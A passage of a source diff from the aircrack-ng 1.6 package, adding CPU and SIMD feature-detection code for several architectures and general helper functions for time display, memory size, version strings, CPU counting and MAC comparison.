+	if (hwcaps & (1 << 1)) sprintcat((char *) &flags, "HALF", sizeof(flags));
+
+	if (hwcaps & (1 << 2)) sprintcat((char *) &flags, "THUMB", sizeof(flags));
+
+	if (hwcaps & (1 << 11))
+		sprintcat((char *) &flags, "THUMBEE", sizeof(flags));
+
+	if (hwcaps & (1 << 6)) sprintcat((char *) &flags, "VFP", sizeof(flags));
+
+	if ((hwcaps & (1 << 13)) || (hwcaps & (1 << 14)))
+		sprintcat((char *) &flags, "VFPv3", sizeof(flags));
+
+	if (hwcaps & (1 << 16)) sprintcat((char *) &flags, "VFPv4", sizeof(flags));
+
+	if (hwcaps & (1 << 15)) sprintcat((char *) &flags, "TLS", sizeof(flags));
+
+	if (hwcaps & (1 << 10)) sprintcat((char *) &flags, "CRUNCH", sizeof(flags));
+
+	if (hwcaps & (1 << 9)) sprintcat((char *) &flags, "iwMMXt", sizeof(flags));
+
+	if ((hwcaps & (1 << 17)) || (hwcaps & (1 << 18)))
+		sprintcat((char *) &flags, "IDIV", sizeof(flags));
+#endif
+#endif
+	return strdup(flags);
+}
+
+static float cpuid_getcoretemp(void)
+{
+#ifdef __FreeBSD__
+	int tempval = 0;
+	size_t len = sizeof(tempval);
+
+	if (sysctlbyname("dev.cpu.0.temperature", &tempval, &len, NULL, 0) == -1)
+		return 0;
+
+	cpuinfo.coretemp = (tempval - 2732) / 10.0f;
+#elif __linux__
+	if (cpuinfo.cputemppath != NULL)
+	{
+		cpuinfo.coretemp
+			= (float) cpuid_readsysfs((const char *) cpuinfo.cputemppath)
+			  / 1000.0f;
+	}
+#else
+	return 0;
+#endif
+	return cpuinfo.coretemp;
+}
+
+#ifdef __linux__
+//
+// Locate the primary temp input on the coretemp sysfs
+//
+static int cpuid_findcpusensorpath(const char * path)
+{
+#define MAX_SENSOR_PATHS 16
+	DIR * dirp;
+	struct dirent * dp;
+	char tbuf[MAX_SENSOR_PATHS][32] = {{0}};
+	int cnt = 0, i = 0, sensorx = 0;
+	char sensor[8] = {0};
+
+	dirp = opendir(path);
+
+	if (dirp == NULL) return -1;
+
+	snprintf(sensor, sizeof(sensor), "temp%d", sensorx);
+
+	while (cnt < (MAX_SENSOR_PATHS - 1) && (dp = readdir(dirp)) != NULL)
+	{
+		if (!strncmp(dp->d_name, sensor, 5))
+		{
+			(void) closedir(dirp);
+			if (asprintf(&cpuinfo.cputemppath,
+						 "%stemp%d_input",
+						 CORETEMP_PATH,
+						 sensorx)
+				== -1)
+			{
+				perror("asprintf");
+			}
+			return sensorx;
+		}
+		else if (!strncmp(dp->d_name, "temp", 4))
+		{
+			strncpy(tbuf[cnt], dp->d_name, 31);
+			tbuf[cnt][31] = '\0'; // ensure NULL termination
+			if (cnt < (MAX_SENSOR_PATHS - 1)) ++cnt; //-V547
+		}
+	}
+
+	(void) closedir(dirp);
+
+	// Hopefully we found the ID on the first pass, but Linux is its infinite
+	// wisdom
+	// sometimes starts the sensors at 2-6+
+	for (sensorx = 1; sensorx < 8; sensorx++)
+		for (i = 0; i < cnt; i++)
+		{
+			snprintf(sensor, sizeof(sensor), "temp%d", sensorx);
+
+			if (!strncasecmp(tbuf[i], sensor, strlen(sensor)))
+			{
+				if (asprintf(&cpuinfo.cputemppath,
+							 "%stemp%d_input",
+							 CORETEMP_PATH,
+							 sensorx)
+					== -1)
+				{
+					perror("asprintf");
+				}
+				return sensorx;
+			}
+		}
+
+	return -1;
+}
+
+static int cpuid_readsysfs(const char * file)
+{
+	int fd, ival = 0;
+	struct stat sf;
+	char buf[16] = {0};
+
+	if (stat(file, &sf)) return -1;
+
+	fd = open(file, O_RDONLY);
+
+	if (fd == -1) return -1;
+
+	if (read(fd, &buf, sizeof(buf)))
+	{
+		ival = atoi(buf);
+	}
+
+	close(fd);
+
+	return ival;
+}
+
+//
+// Return CPU frequency from scaling governor when supported
+//
+static int cpuid_getfreq(int type)
+{
+	int fd, ifreq = 0;
+	struct stat sf;
+	char freq[16] = {0}, *fptr;
+
+	fptr = (type == 1 ? CPUFREQ_CPU0C : CPUFREQ_CPU0M);
+
+	if (stat(fptr, &sf)) return 0;
+
+	fd = open(fptr, O_RDONLY);
+
+	if (fd == -1) return 0;
+
+	if (read(fd, &freq, sizeof(freq))) ifreq = atoi(freq) / 1000;
+
+	close(fd);
+
+	return ifreq;
+}
+#endif
+
+static char * cpuid_modelinfo(void)
+{
+#ifdef _X86
+	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
+	int bi = 2, broff = 0;
+	char * tmpmodel = calloc(1, (size_t)((sizeof(unsigned) * 4ul) * 5ul));
+#elif __linux__
+	FILE * cfd;
+	char *line = NULL, *token = NULL;
+	size_t linecap = 0;
+	ssize_t linelen;
+#elif __FreeBSD__ /* ARM support for FreeBSD */
+	int mib[] = {CTL_HW, HW_MODEL};
+	char modelbuf[64];
+	size_t len = sizeof(modelbuf);
+#endif
+	char *pm = NULL, *model = NULL;
+
+#ifdef _X86
+	if (tmpmodel == NULL)
+	{
+		fprintf(stderr,
+				"ERROR: calloc() failed to allocate memory for "
+				"cpuid_modelinfo(): %s\n",
+				strerror(errno));
+		return "Unknown";
+	}
+
+	for (; bi < 5; bi++, broff += 16)
+	{
+		__cpuid(0x80000000 + bi, eax, ebx, ecx, edx);
+
+		memcpy(tmpmodel + broff, &eax, sizeof(unsigned));
+		memcpy(tmpmodel + broff + 4, &ebx, sizeof(unsigned));
+		memcpy(tmpmodel + broff + 8, &ecx, sizeof(unsigned));
+		memcpy(tmpmodel + broff + 12, &edx, sizeof(unsigned));
+	}
+
+	pm = tmpmodel;
+
+#elif __linux__
+	cfd = fopen("/proc/cpuinfo", "r");
+
+	if (cfd == NULL)
+	{
+		fprintf(stderr,
+				"ERROR: Failed opening /proc/cpuinfo: %s\n",
+				strerror(errno));
+		return "Unknown";
+	}
+
+	while ((linelen = getline(&line, &linecap, cfd)) > 0)
+	{
+		if (!strncasecmp(line, "model", 5))
+		{
+			token = strsep(&line, ":");
+			token = strsep(&line, ":");
+
+			token[strlen(token) - 1] = 0;
+			(void) *token++;
+
+			pm = token;
+			break;
+		}
+	}
+
+	free(line);
+	line = NULL;
+
+	fclose(cfd);
+
+	if (pm == NULL) return NULL;
+#elif __FreeBSD__
+	if (sysctl(mib, 2, modelbuf, &len, NULL, 0))
+		snprintf(modelbuf, sizeof(modelbuf), "Unknown");
+
+	pm = modelbuf;
+#endif
+
+	// Clean up the empty spaces in the model name on some intel's because they
+	// let their engineers fall asleep on the space bar
+	while (*pm == ' ')
+	{
+		pm++;
+	}
+
+	model = strdup(pm);
+
+#ifdef _X86
+	free(tmpmodel);
+	tmpmodel = NULL;
+#endif
+
+	if (model == NULL)
+	{
+		fprintf(stderr,
+				"ERROR: strdup() failed to allocate memory for "
+				"cpuid_modelinfo(): %s\n",
+				strerror(errno));
+		return "Unknown";
+	}
+
+	return model;
+}
+
+#ifdef _X86
+static inline unsigned cpuid_x86_max_function_id(void)
+{
+	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
+	__cpuid(0, eax, ebx, ecx, edx);
+	return (eax);
+}
+
+static inline unsigned cpuid_x86_max_extended_function_id(void)
+{
+	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
+	__cpuid(0x80000000UL, eax, ebx, ecx, edx);
+	return (eax);
+}
+
+static unsigned int cpuid_x86_threads_per_core(void);
+static unsigned int cpuid_x86_threads_per_core(void)
+{
+	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
+	unsigned int mfi = cpuid_x86_max_function_id();
+	unsigned int mefi = cpuid_x86_max_extended_function_id();
+	const char * vendor = cpuid_vendor();
+
+	if (mfi < 0x04U
+		|| (strcmp(vendor, "Intel") != 0 && strcmp(vendor, "AMD") != 0))
+	{
+		return (1);
+	}
+
+	if (strcmp(vendor, "AMD") == 0 && mefi >= 0x8000001EU)
+	{
+		__cpuid(0x8000001EU, eax, ebx, ecx, edx);
+		return (((ebx >> 8U) & 7U) + 1U);
+	}
+
+	if (mfi < 0x0BU)
+	{
+		__cpuid(1, eax, ebx, ecx, edx);
+		if ((edx & (1U << 28U)) != 0)
+		{
+			// v will contain logical core count
+			const unsigned v = (ebx >> 16) & 255;
+			if (v > 1)
+			{
+				__cpuid(4, eax, ebx, ecx, edx);
+				// physical cores
+				const unsigned v2 = (eax >> 26U) + 1U;
+				if (v2 > 0)
+				{
+					return v / v2;
+				}
+			}
+		}
+
+		return (1);
+	}
+
+	if (mfi < 0x1FU)
+	{
+		/*
+		CPUID leaf 1FH is a preferred superset to leaf 0BH. Intel
+		recommends first checking for the existence of Leaf 1FH
+		before using leaf 0BH.
+		*/
+		__cpuid_count(0x0BU, 0, eax, ebx, ecx, edx);
+		if ((ebx & 0xFFFFU) == 0)
+		{
+			return (1);
+		}
+
+		return (ebx & 0xFFFFU);
+	}
+
+	__cpuid_count(0x1FU, 0, eax, ebx, ecx, edx);
+	if ((ebx & 0xFFFFU) == 0)
+	{
+		return (1);
+	}
+
+	return (ebx & 0xFFFFU);
+}
+
+static unsigned int cpuid_x86_logical_cores(void);
+static unsigned int cpuid_x86_logical_cores(void)
+{
+	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
+	unsigned int mfi = cpuid_x86_max_function_id();
+	const char * vendor = cpuid_vendor();
+
+	if (strcmp(vendor, "Intel") == 0)
+	{
+		// Use this on old Intel processors
+		if (mfi < 0x0BU)
+		{
+			if (mfi < 0x01U)
+			{
+				return (0);
+			}
+
+			__cpuid(1, eax, ebx, ecx, edx);
+			return ((ebx >> 16U) & 0xFFU);
+		}
+
+		if (mfi < 0x1FU)
+		{
+			/*
+			CPUID leaf 1FH is a preferred superset to leaf 0BH. Intel
+			recommends first checking for the existence of Leaf 1FH
+			before using leaf 0BH.
+			*/
+			__cpuid_count(0x0BU, 1, eax, ebx, ecx, edx);
+			return (ebx & 0xFFFFU);
+		}
+
+		__cpuid_count(0x1FU, 1, eax, ebx, ecx, edx);
+		return (ebx & 0xFFFFU);
+	}
+	else if (strcmp(vendor, "AMD") == 0)
+	{
+		__cpuid(1, eax, ebx, ecx, edx);
+		return ((ebx >> 16U) & 0xFFU);
+	}
+	else
+	{
+		return (0);
+	}
+}
+
+static unsigned int cpuid_x86_physical_cores(void);
+static unsigned int cpuid_x86_physical_cores(void)
+{
+	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
+	unsigned int mfi = cpuid_x86_max_function_id();
+	unsigned int mefi = cpuid_x86_max_extended_function_id();
+	const char * vendor = cpuid_vendor();
+
+	if (strcmp(vendor, "Intel") == 0 && mfi >= 0x01U)
+	{
+		return (cpuid_x86_logical_cores() / cpuid_x86_threads_per_core());
+	}
+	else if (strcmp(vendor, "AMD") == 0 && mefi >= 0x80000008UL)
+	{
+		__cpuid(0x80000008UL, eax, ebx, ecx, edx);
+		return (((ecx & 0xFFU) + 1U) / cpuid_x86_threads_per_core());
+	}
+
+	return (1);
+}
+#endif
+
+int cpuid_getinfo()
+{
+	int cpu_count = get_nb_cpus();
+	float cpu_temp;
+
+#ifdef _X86
+	cpuinfo.maxlogic = cpuid_x86_logical_cores();
+	cpuinfo.cores = cpuid_x86_physical_cores();
+
+	printf("Vendor          = %s\n", cpuid_vendor());
+#else
+	cpuinfo.maxlogic = cpu_count;
+#endif
+
+#ifdef __linux__
+	cpuid_findcpusensorpath(CORETEMP_PATH);
+	cpuinfo.cpufreq_cur = cpuid_getfreq(1);
+	cpuinfo.cpufreq_max = cpuid_getfreq(2);
+#endif
+
+	cpuinfo.model = cpuid_modelinfo();
+	cpuinfo.flags = cpuid_featureflags();
+
+	if (cpuinfo.model != NULL) printf("Model           = %s\n", cpuinfo.model);
+	if (cpuinfo.flags != NULL) printf("Features        = %s\n", cpuinfo.flags);
+	if (cpuinfo.hv) printf("Hypervisor      = Yes (Virtualization detected)\n");
+
+	if (cpuinfo.cpufreq_cur)
+		printf("CPU frequency   = %d MHz (Max: %d MHz)\n",
+			   cpuinfo.cpufreq_cur,
+			   cpuinfo.cpufreq_max);
+
+	cpu_temp = cpuid_getcoretemp();
+	if (cpu_temp != 0.0) //-V550
+		printf("CPU temperature = %2.2f C\n", cpu_temp);
+
+#ifdef _X86
+	printf("Hyper-Threading = %s\n", cpuinfo.htt ? "Yes" : "No");
+#endif
+
+	printf("Logical CPUs    = %d\n", cpuinfo.maxlogic);
+
+#ifdef _X86
+	printf("Threads per core= %d\n", cpuid_x86_threads_per_core());
+#endif
+
+	if (cpuinfo.cores > 0)
+	{
+		printf("CPU cores       = %d", cpuinfo.cores);
+
+		if (cpuinfo.maxlogic > 0 && cpuinfo.maxlogic != cpu_count)
+		{
+			if (cpu_count > cpuinfo.maxlogic)
+				printf(" (%d total, %d sockets)",
+					   cpu_count,
+					   (cpu_count / cpuinfo.maxlogic));
+			else
+				printf(" (%d total)", cpu_count);
+		}
+
+		puts("");
+	}
+
+	cpuinfo.simdsize = cpuid_simdsize(1);
+
+	printf("SIMD size       = %d ", cpuinfo.simdsize);
+
+	if (cpuinfo.simdsize == 1)
+		printf("(64 bit)\n");
+	else if (cpuinfo.simdsize == 4)
+		printf("(128 bit)\n");
+	else if (cpuinfo.simdsize == 8)
+		printf("(256 bit)\n");
+	else if (cpuinfo.simdsize == 16)
+		printf("(512 bit)\n");
+	else
+		printf("(unknown)\n");
+
+	if (cpuinfo.flags != NULL)
+	{
+		free(cpuinfo.flags);
+		cpuinfo.flags = NULL;
+	}
+
+	if (cpuinfo.model != NULL)
+	{
+		free(cpuinfo.model);
+		cpuinfo.model = NULL;
+	}
+
+	if (cpuinfo.cputemppath != NULL)
+	{
+		free(cpuinfo.cputemppath);
+		cpuinfo.cputemppath = NULL;
+	}
+
+	return 0;
+}

aircrack-ng-1.6.tar.gz/lib/libac/cpu/trampoline_arm.c Added

@@ -0,0 +1,60 @@
+/*
+ *  Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#if defined(__arm__) || defined(__aarch64__)
+#ifdef HAS_AUXV
+#include <sys/auxv.h>
+#include <asm/hwcap.h>
+#endif
+#else
+#error "The wrong CPU architecture file has been included."
+#endif
+
+#include "aircrack-ng/cpu/trampoline.h"
+
+void simd_init(void) {}
+
+void simd_destroy(void) {}
+
+int simd_get_supported_features(void)
+{
+	int result = 0;
+#ifdef HAS_AUXV
+	long hwcaps = getauxval(AT_HWCAP);
+
+#if defined(HWCAP_ASIMD)
+	if (hwcaps & HWCAP_ASIMD)
+	{
+		result |= SIMD_SUPPORTS_ASIMD;
+	}
+#endif
+
+#if defined(HWCAP_NEON)
+	if (hwcaps & HWCAP_NEON)
+	{
+		result |= SIMD_SUPPORTS_NEON;
+	}
+#endif
+#endif
+
+	return (result);
+}

aircrack-ng-1.6.tar.gz/lib/libac/cpu/trampoline_ppc.c Added

@@ -0,0 +1,53 @@
+/*
+ *  Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#if defined(__ppc__) || defined(__PPC__)
+#ifdef HAS_AUXV
+#include <sys/auxv.h>
+#include <bits/hwcap.h>
+#endif
+#else
+#error "The wrong CPU architecture file has been included."
+#endif
+
+#include "aircrack-ng/cpu/trampoline.h"
+
+void simd_init(void) {}
+
+void simd_destroy(void) {}
+
+int simd_get_supported_features(void)
+{
+	int result = 0;
+#ifdef HAS_AUXV
+	long hwcaps = getauxval(AT_HWCAP2);
+
+#if defined(PPC_FEATURE2_ARCH_2_07)
+	if (hwcaps & PPC_FEATURE2_ARCH_2_07)
+	{
+		result |= SIMD_SUPPORTS_POWER8;
+	}
+#endif
+#endif
+
+	return (result);
+}

aircrack-ng-1.6.tar.gz/lib/libac/cpu/trampoline_stubs.c Added

@@ -0,0 +1,34 @@
+/*
+ *  Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include "aircrack-ng/cpu/trampoline.h"
+
+void simd_init(void) {}
+
+void simd_destroy(void) {}
+
+int simd_get_supported_features(void)
+{
+	int result = 0;
+
+	return (result);
+}

aircrack-ng-1.6.tar.gz/lib/libac/cpu/trampoline_x86.c Added

@@ -0,0 +1,80 @@
+/*
+ *  Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#if defined(__i386__) || defined(__x86_64__)
+#define _X86
+#include <cpuid.h>
+#else
+#error "The wrong CPU architecture file has been included."
+#endif
+
+#include "aircrack-ng/cpu/trampoline.h"
+
+void simd_init(void) {}
+
+void simd_destroy(void) {}
+
+int simd_get_supported_features(void)
+{
+	int result = 0;
+	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
+	unsigned int max_level = __get_cpuid_max(0, 0);
+
+	__cpuid(0, eax, ebx, ecx, edx);
+
+	if (eax >= 1)
+	{
+		__cpuid(1, eax, ebx, ecx, edx);
+	}
+
+	if (edx & (1 << 23)) //-V525
+	{
+		result |= SIMD_SUPPORTS_MMX;
+	}
+
+	if (edx & (1 << 26))
+	{
+		result |= SIMD_SUPPORTS_SSE2;
+	}
+
+	if (ecx & (1 << 28))
+	{
+		result |= SIMD_SUPPORTS_AVX;
+	}
+
+	if (max_level >= 7)
+	{
+		__cpuid_count(7, 0, eax, ebx, ecx, edx);
+
+		if (ebx & (1 << 16))
+		{
+			result |= SIMD_SUPPORTS_AVX512F;
+		}
+
+		if (ebx & (1 << 5))
+		{
+			result |= SIMD_SUPPORTS_AVX2;
+		}
+	}
+
+	return (result);
+}

aircrack-ng-1.6.tar.gz/lib/libac/support Added

aircrack-ng-1.6.tar.gz/lib/libac/support/common.c Added

@@ -0,0 +1,706 @@
+/*
+ *  Common functions for all aircrack-ng tools
+ *
+ *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <dirent.h>
+#include <unistd.h>
+#include <ctype.h>
+#include <limits.h>
+#include <errno.h>
+#include <assert.h>
+
+#include <aircrack-ng/support/common.h>
+
+#if defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__DragonFly__)     \
+	|| defined(__MidnightBSD__)
+#include <sys/sysctl.h>
+#include <sys/user.h>
+#endif
+#if (defined(_WIN32) || defined(_WIN64)) || defined(__CYGWIN32__)
+#include <io.h>
+#include <windows.h>
+#include <errno.h>
+#endif
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/osdep/osdep.h"
+#include "aircrack-ng/osdep/common.h"
+#include "aircrack-ng/third-party/ethernet.h"
+
+#define isHex(c) (hexToInt(c) != -1)
+#define HEX_BASE 16
+
+/*
+ * The following function comes from jumbo.c from JTR.
+ * It has the following license:
+ *
+ * This file is Copyright (c) 2013-2014 magnum, Lukasz and JimF,
+ * and is hereby released to the general public under the
+following terms:
+ * Redistribution and use in source and binary forms, with or
+without
+ * modifications, are permitted.
+*/
+#if defined(__CYGWIN32__) && !defined(__CYGWIN64__)
+int fseeko64(FILE * fp, int64_t offset, int whence)
+{
+	fpos_t pos;
+
+	if (whence == SEEK_CUR)
+	{
+		if (fgetpos(fp, &pos)) return (-1);
+
+		pos += (fpos_t) offset;
+	}
+	else if (whence == SEEK_END)
+	{
+		/* If writing, we need to flush before getting file length. */
+		long long size;
+
+		fflush(fp);
+		size = 0;
+
+		GetFileSizeEx((HANDLE) _get_osfhandle(fileno(fp)),
+					  (PLARGE_INTEGER) &size);
+		pos = (fpos_t)(size + offset);
+	}
+	else if (whence == SEEK_SET)
+		pos = (fpos_t) offset;
+	else
+	{
+		errno = EINVAL;
+		return (-1);
+	}
+
+	return fsetpos(fp, &pos);
+}
+
+int64_t ftello64(FILE * fp)
+{
+	fpos_t pos;
+
+	if (fgetpos(fp, &pos)) return -1LL;
+
+	return (int64_t) pos;
+}
+#endif
+
+/*
+ * Print the time and percentage in readable format
+ */
+void calctime(time_t t, float perc)
+{
+	int days = 0, hours = 0, mins = 0, secs = 0, remain = 0, printed = 0;
+	char buf[8];
+
+	days = t / 86400;
+	remain = t % 86400;
+
+	hours = remain / 3600;
+	remain = remain % 3600;
+
+	mins = remain / 60;
+	secs = remain % 60;
+
+	if (days) printed += printf("%d day%s, ", days, (days > 1 ? "s" : ""));
+
+	if (hours) printed += printf("%d hour%s, ", hours, (hours > 1 ? "s" : ""));
+
+	if (mins) printed += printf("%d minute%s, ", mins, (mins > 1 ? "s" : ""));
+
+	snprintf(buf, sizeof(buf), "%3.2f%%", perc);
+
+	printed += printf("%d second%s", secs, (secs != 1 ? "s" : ""));
+
+	printf("%*s %s\n", (int) (47 - (printed + strlen(buf) % 5)), " ", buf);
+}
+
+int is_string_number(const char * str)
+{
+	int i;
+	if (str == NULL)
+	{
+		return 0;
+	}
+
+	if (*str != '-' && !(isdigit((int) (*str))))
+	{
+		return 0;
+	}
+
+	for (i = 1; str[i] != 0; i++)
+	{
+		if (!isdigit((int) (str[i])))
+		{
+			return 0;
+		}
+	}
+
+	return 1;
+}
+
+int get_ram_size(void)
+{
+	int ret = -1;
+#if defined(__FreeBSD__) || defined(__MidnightBSD__)
+	int mib[] = {CTL_HW, HW_PHYSMEM};
+	size_t len;
+	unsigned long physmem;
+
+	len = sizeof(physmem);
+
+	if (!sysctl(mib, 2, &physmem, &len, NULL, 0))
+		ret = (physmem / 1024); // Linux returns memory size in kB, so we want
+// to as well.
+#elif defined(_WIN32) || defined(_WIN64)
+	MEMORYSTATUSEX statex;
+	statex.dwLength = sizeof(statex);
+
+	if (GlobalMemoryStatusEx(&statex))
+	{
+		ret = (int) (statex.ullTotalPhys / 1024);
+	}
+#else
+	FILE * fp;
+	char str[100 + 1];
+	int val = 0;
+
+	if (!(fp = fopen("/proc/meminfo", "r")))
+	{
+		perror("fopen fails on /proc/meminfo");
+		return ret;
+	}
+
+	memset(str, 0x00, sizeof(str));
+	while (ret == -1 && !feof(fp) && fscanf(fp, "%100s %d", str, &val) != 0)
+	{
+		if (!(strncmp(str, "MemTotal", 8)))
+		{
+			ret = val;
+		}
+	}
+
+	fclose(fp);
+#endif
+	return ret;
+}
+
+/* Return the version number */
+char * getVersion(const char * progname,
+				  const unsigned int maj,
+				  const unsigned int min,
+				  const unsigned int submin,
+				  const char * rev,
+				  const unsigned int beta,
+				  const unsigned int rc)
+{
+	if (progname == NULL || progname[0] == 0)
+	{
+		fprintf(stderr, "Invalid program name, cannot be NULL or empty\n");
+		exit(1);
+	}
+	if (rc != 0 && beta != 0)
+	{
+		fprintf(stderr, "RC and beta cannot be both used\n");
+		exit(1);
+	}
+
+	// Calculate and allocate buffer
+	size_t len = 100 + strlen(progname);
+	if (rev)
+	{
+		len += strlen(rev);
+	}
+	char * ret = (char *) calloc(1, len);
+	if (ret == NULL)
+	{
+		perror("calloc()");
+		exit(1);
+	}
+
+	// Major, minor version
+	snprintf(ret, len, "%s %u.%u", progname, maj, min);
+
+	// Sub-minor
+	if (submin > 0)
+	{
+		snprintf(ret + strlen(ret), len - strlen(ret), ".%u", submin);
+	}
+
+	// Release candidate ...
+	if (rc > 0)
+	{
+		snprintf(ret + strlen(ret), len - strlen(ret), " rc%u", rc);
+	}
+	else if (beta > 0)
+	{ // ... Or beta
+		snprintf(ret + strlen(ret), len - strlen(ret), " beta%u", beta);
+	}
+
+	// Add revision if it comes from subversion or git
+	if (rev)
+	{
+		char * tmp = strdup(rev);
+		ALLEGE(tmp != NULL);
+
+		char * sep = strstr(tmp, "_");
+		if (sep)
+		{
+			++sep;
+		}
+		else
+		{
+			sep = "";
+		}
+
+		char * search = strstr(sep, "rev-");
+		if (search)
+		{
+			search[3] = ' ';
+		}
+
+		snprintf(
+			ret + strlen(ret), len - strlen(ret), " %s", search ? search : sep);
+		free(tmp);
+	}
+
+	// Shorten buffer if possible
+	char * r_ret = realloc(ret, strlen(ret) + 1);
+	return (r_ret) ? r_ret : ret;
+}
+
+// Return the number of cpu. If detection fails, it will return -1;
+int get_nb_cpus(void)
+{
+	int number = -1;
+
+#if defined(_WIN32) || defined(_WIN64)
+	SYSTEM_INFO sysinfo = {0};
+
+	GetSystemInfo(&sysinfo);
+
+	number = sysinfo.dwNumberOfProcessors;
+#elif defined(__linux__)
+	char *s, *pos;
+	FILE * f;
+	// Reading /proc/cpuinfo is more reliable on current CPUs,
+	// so put it first and try the old method if this one fails
+	f = fopen("/proc/cpuinfo", "r");
+
+	if (f != NULL)
+	{
+		s = (char *) calloc(1, 81);
+
+		if (s != NULL)
+		{
+			// Get the latest value of "processor" element
+			// and increment it by 1 and it that value
+			// will be the number of CPU.
+			number = -2;
+
+			while (fgets(s, 80, f) != NULL)
+			{
+				pos = strstr(s, "processor");
+
+				if (pos == s)
+				{
+					pos = strchr(s, ':');
+
+					if (pos != NULL) number = atoi(pos + 1);
+				}
+			}
+
+			++number;
+			free(s);
+		}
+
+		fclose(f);
+	}
+#elif defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__DragonFly__)   \
+	|| defined(__MidnightBSD__)
+	// Not sure about defined(__DragonFly__) || defined(__NetBSD__) ||
+	// defined(__OpenBSD__) || defined(__APPLE__)
+	int mib[] = {CTL_HW, HW_NCPU};
+	size_t len;
+	unsigned long nbcpu;
+
+	len = sizeof(nbcpu);
+
+	if (!sysctl(mib, 2, &nbcpu, &len, NULL, 0))
+	{
+		number = (int) nbcpu;
+	}
+#endif
+
+#ifdef _SC_NPROCESSORS_ONLN
+	// Try the usual method if _SC_NPROCESSORS_ONLN exist
+	if (number == -1)
+	{
+		number = sysconf(_SC_NPROCESSORS_ONLN);
+		/* Fails on some archs */
+		if (number < 1)
+		{
+			number = -1;
+		}
+	}
+#endif
+
+	return number;
+}
+
+// compares two MACs
+int maccmp(unsigned char * mac1, unsigned char * mac2)
+{
+	int i = 0;
+
+	if (mac1 == NULL || mac2 == NULL) return -1;
+
+	for (i = 0; i < 6; i++)
+	{
+		if (toupper(mac1[i]) != toupper(mac2[i])) return -1;
+	}
+	return 0;
+}
+
+/* Return -1 if it's not an hex value and return its value when it's a hex value
